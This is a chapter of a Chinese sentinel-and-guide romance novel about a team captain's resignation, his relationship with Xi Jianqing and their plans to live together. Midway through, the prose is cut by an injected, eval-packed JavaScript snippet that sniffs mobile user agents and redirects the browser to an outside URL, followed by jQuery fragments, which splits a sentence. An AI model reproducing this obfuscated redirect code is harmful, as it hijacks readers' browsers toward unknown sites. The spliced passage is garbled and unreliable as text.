章令月回到办公室后,观栩正坐在对面等她。
她看了眼他的脸色,不算太糟糕:“等很久了吧。”
他只道:“无论如何,我将坚持我的申请。”
章令月:“你想什么理由都不给,就让我通过你的队长卸任书?你在1队带出的S级向导和立下的功勋都会是两年后参选决议官的支持力量,这个时候退到二线,我认为并不理智。”
离开1队,下一步要去哪里她想都不用想,恋爱中的人往往冲动又盲目,她也不是不能理解,只是希望自己这盆冷水能让他冷静冷静。
观栩:“我并不缺功绩与支持,如果不是年龄和人数的限制,我已经和您共事了,两年后大概也不会改变这个事实。”
决议庭的决议官席位只有六个,唯有死亡和卸任才会空出位置,在此基础上,还需要年满30岁。
这得承认他说的对,章令月喝了口茶,切换角度。
“记得成人礼时你的志向是为白塔奉献一生,现在就这样弃1队的事业于不顾?还有,虽然不该干涉你的私人生活,但我认为你作为公共向导的价值远高于专属向导。”
观栩:“退队并不等于退役,10队也在一线,如果您了解清清,一定会明白她有着任何哨兵都无法比拟的价值。
我用两年时间证明,可以通过对A级向导加压来提高S级向导的质数,即便我不在1队,白塔依旧可以沿用方法,并推行到其他队。”
章令月一眼就看出了他在措辞方面的避重就轻:“难道你觉得模糊自己的作用就可以说服我?
不是所有队长都有你的领导力,也不是所有向导都能承受全年带外狩队的压力,你我都很清楚张觉难以胜任,在找到接任者之前,我不会批准你离队。
就事论事,我准备在ES3队也开始试行,你认为解玥能做到吗?”
两年前,1队的队长瞿含及所有顶级向导们外出执行任务,余下的人难担重任,她把他调过去,原意是想让他平稳过渡。
结果他一进去就强行推动改革,招募A级向导至人数翻倍,一分为二,外狩分队前往变异区,巡城分队留在白塔对S级哨兵进行跨级精神疏导,分队每个月一轮换。
一开始这种超高压的运作模式让1队的人员流动变得极其频繁,不断有人退出,加入,退出,加入,一年后才逐渐稳定。
原因只有两个,一是对向导实力提升很明显,甚至有了“1队是S级向导工厂”的说法,二是观栩永远在带外狩队,虽然受伤率高但死亡率很低。
让所有质疑他只是想用激进手段为自己进决议庭铺路的人都闭上了嘴。
“以她的实力和在3队的绝对统治力,可以,”观栩道,“我可以认为您拒绝我的申请,是在为白塔失去一件趁手的工具而惋惜吗。”
章令月噎了一下,生生气笑:“你的谈判技巧都是我教的,胡搅蛮缠是很好用,但别对我。
我不是不允许,只是不建议现在,再等两年,进入决议庭后你想翻天我都不管你。”
“两天也不行。”
他想要和她一起出任务,每一次。
章令月:“决议官及其伴侣可以不用去变异区执行任务,这也是我希望你入选的原因,再强的哨向也会因为意外而崴脚,不用我给你举海燕和湾鳄的例子,我为什么从政,还不是因为你们一个个的都不听话。”
她已经做好了观栩再次反驳的准备,下一条理由都快说出口了,却被他突然的沉默打乱节奏。
许久,观栩才道:“原本,即便成为决议官我也依旧会去变异区,但现在,容我想想。”
“建议你们用两年的时间好好考虑,”她话题一转,“刚才说的都出自决议官的角度,之后的对话只出自章令月个人。其实你完全可以把她带到1队,凭你的威信也没有人会欺负她。”
他便也说:“刚才都是官面理由,至于观栩,我想融入她的生活,而不是把她拽进我的世界。”
她习以为常的日常里会慢慢多个他,喜欢也好,依赖也罢,最终都会导向同一个结果——她再也离不开他。
即便有一天想要逃离,无数个细节也会不断提醒着她自己的存在,最终让她乖乖回来。
有时他也会设想这并不存在的可能,以爱意浸养欲望。
上下打量了他一番,章令月突然想起一件旧事:“之前你大清早突然来找我,要代我去天成市视察,随后就发生了EB60失联等一系列事件,小姑娘当时就在60小队,我很难不想,你是去找她的。”
观栩沉默一瞬,承认:“是。但我后续所有的决定都出于理性,与私人情感无关。”
连EA6区都能来去自如的人在EB15区下落不明,就跟S级哨兵举不起玩具枪一样离谱,她越强,反而越能证明事情背后的严重性。
章令月并不怀疑他说话的真实性,就算不确定性和危险性过高,他也会无视风险,毫不动摇地去做。
宗檀云行事注重大局,力求全面,等她上位后,保守派的声音会更有力量,为使整体决策保持动态平衡,不过度倾斜,决议庭需要引入新的制衡力量。
这个观点还是宗檀云自己提出的,得到庭内全票通过,新任决议官的候选范围也逐渐明晰,除了某位候选人实在太过强硬,连激进派都开始变得保守,犹豫到底要不要选他。
章令月忽然道:“原本我在想,等你进决议庭,估计连决议长都奈何不了你,但现在我很好奇,奚见清劝得动你吗?”
这个问题观栩还真没想过,思索片刻,他自己都不太确定:“或许。”
听到这句话,她意外地看了他一眼,然后才说:“还有一件事,你打算什么时候让我们正式见面?”
观栩:“我问问,毕竟她前几天才答应我。”
“……”
我已无话可说。
正在开车的奚见清突然收到【阿栩^-^】的来电提示,她接起后,观栩的声音便在车中响起:“清清,在哪里。”
“去机场。”
异常熟悉的对话让对面沉默了足有数秒,才听见他深吸一口气:“不许走,回来。”
“干什么!”余鸣钊愤怒开口,“连徒弟送送师父你都要管?你……”
“不要吵架,”奚见清说,“不好。”
她这样说,车内便安静了下来,三个人都没有开口,致使某种尴尬的氛围开始蔓延。
“阿栩,很好,师父,也很好。”她一向很擅长劝架,先文后武,从不失手。
“……”
“……”
最终还是观栩打破平静:“路上小心,早些回来,我等你一起用晚餐。”
待挂断电话,余鸣钊才冷笑一声:“连一顿饭的时间都要抓在手里,小笨蛋你就被他吃死吧。”
“没关系的。”
“……”好,已经死了。
把人送到机场后,奚见清才问:“白塔不找你,出任务,为什么?”
这话听来没头没脑的,余鸣钊却知道她想表达的意思,说:“不再安抚哨兵的向导没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063396|175035||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有价值。包括你家那位。”
能说出“如果我带不回清清,就跟她一起走”的人,早已定好了自己的结局。
奚见清:“那我,不能死。”
余鸣钊望了望天,长叹一口气:“之前我说他的话你就当没听过吧,虽然你也确实没听,你们在一起挺好的,师父准了。”
在来临洋城以前她曾说过,见过对方之后就会回来,现在显然是被男狐狸精迷了魂。
只是每个人都有每个人的路要走。
他挥了挥手,向安检处而去。
鉴于上次共进晚餐不太愉快的经历,观栩这次换了另一家餐厅,落座后没多久,奚见清也到了。
进房间时她将手背在身后,待走到他面前才伸出来:“阿栩,给你。”
那是一束白色郁金香。
小葵还没来得及帮她打听他的喜好,她便按照他第一次给自己送的花,反送给他,想来不会有错。
观栩有些意外,旋即笑道:“清清,我第一次收到花。”
因为其他人送的花他都不收。
奚见清以为当真是没人送,眼中近乎怜爱:“以后,我送你。”
坐下后,她才看到自己的手边放着只甜点盒,里面是眷恋咖啡馆的哨供芝士葡挞,品控严格所以每天只限量出售,很不好买,而这个盒子上甚至还能感受到热度。
“我要,先吃这个。”她把这显然是为自己准备的小礼物拆开。
观栩静静地看了她片刻,问:“清清,你有没有想过不去变异区做任务?因为……很不安全。你已经是S级,已经找到了我,对吗。”
“想过,”她却说,“很早以前,就想过。可我最强,不去危险的地方,别人会死。你的手很温暖,我也要一样。”
当然会害怕,她第一次击杀变异体才6岁,用了很多年才从生理平静过渡到心理平静。
可她更怕死,无论是自己,还是别人。
观栩深深地望着她,纷繁情绪填满心头。
她从来都很清楚自己想做什么,自己要做什么,直面内心,直视恐惧,比谁都通透。
奚见清又认真地补了句:“我会,保护阿栩,还有自己。”
“好。”
他的清清很好,而“是他的”更好。
想到邀约,他问:“明天晚上要不要去章令月决议官家里一起吃个饭?如果觉得拘束,就在外面,或者以后再吃,看你。”
虽然与对方并不相识,但奚见清倒是不介意:“可以呀。”
见她什么都“可以”,观栩的笑意无比纯粹:“清清,虽然我们还没有通过结合申请,但是,可以让我和你住在一起吗,从今天开始。”
奚见清的动作慢了下来,在他的目光注视下不觉有些紧张。
不得不承认这对她来说是一个很大的诱惑,他们各有各的事情要忙,光是白天在一起,似乎是有些不够呢。
“可以。”
“你会分我一半的被子吗。”
“可以……”
“我能抱着你睡吗。”
“也,可以……”
奚见清的眼神一再错开,难以与他对视,要做什么你就自己做,别问了呜……
以前觉得她靠近得太快,可轮到自己,观栩只觉得这种“步步紧逼”的感觉令人上瘾。
他反而用手贴着她的脸颊,认真地评价:“烫烫的。”
奚见清用力咬了一口酥皮,甜咸恰到好处的挞心抿散在舌尖。
你这样,就过分了。